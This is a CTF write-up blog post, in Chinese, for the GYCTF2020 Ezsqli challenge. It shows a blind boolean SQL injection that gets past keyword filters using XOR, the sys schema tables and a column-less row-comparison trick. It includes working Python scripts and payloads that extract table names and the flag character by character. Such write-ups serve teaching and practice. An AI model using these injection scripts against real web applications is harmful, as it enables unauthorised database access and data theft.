[GYCTF2020]Ezsqli

在这里插入图片描述
查询界面,猜测sql注入,查询抓包
在这里插入图片描述

fuzz后发现information_schema,or,union等关键字被过滤了,应该是要无列名注入。
^代替or
id=0^(length(database())>1)
在这里插入图片描述
证明存在sql注入
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
用脚本爆出表名

import time
import requests
import sys
import string
import logging


# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="http://089d87c8-7a75-454d-9806-a634e110dee5.node3.buuoj.cn/index.php"

dataStr="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database())"

def binaryTest(i,cu,comparer):
    s=requests.post(target,data={"id" : "0^(ascii(substr({},{},1)){comparer}{})".format(dataStr,i,cu,comparer=comparer)})
    if 'Nu1L' in s.text:
        return True
    else:
        return False


def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

在这里插入图片描述
过滤了union的无列名注入没学过 参考y1ng师傅的wp
https://www.gem-love.com/ctf/1782.html
看完只能感叹大佬tql
核心思想

假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,这个不难懂,和 c 语言的 strcmp() 函数原理一样,举几个例子:
glag > flag{bbbbb}
alag{zzzzzzzzzzz} < flag{bbbbb}
a < flag{bbbbb}
z > flag{bbbbb}
在这样的按位比较过程中,因为在里层的 for() 循环,字典顺序是从 ASCII 码小到大来枚举并比较的,假设正确值为 b,那么字典跑到 b 的时候 b=b 不满足 payload 的大于号,只能继续下一轮循环,c>b 此时满足了,题目返回真,出现了 Nu1L 关键字,这个时候就需要记录 flag 的值了,但是此时这一位的 char 是 c,而真正的 flag 的这一位应该是 b 才对,所以 flag += chr(char-1),这就是为什么在存 flag 时候要往前偏移一位的原因

脚本

import requests
import time
url = 'http://bbec0b5f-0d5c-406b-ba6d-d0391a76b959.node3.buuoj.cn/index.php'
# give_grandpa_pa_pa_pa

payload_flag = '1^((1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh))'
flag = ''
for i in range(1, 100):
    time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果
    low = 32
    high = 132
    mid = (low + high) // 2
    while (low < high):
        k = flag + chr(mid)
        payload = payload_flag.format(k)
        data = {"id": payload}
        print(payload)
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2
    if mid == 33:
        break
    flag += chr(mid - 1)
    print(flag.lower())  # 因为出来的flag是大写,这边全部转为小写

print(flag.lower())

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值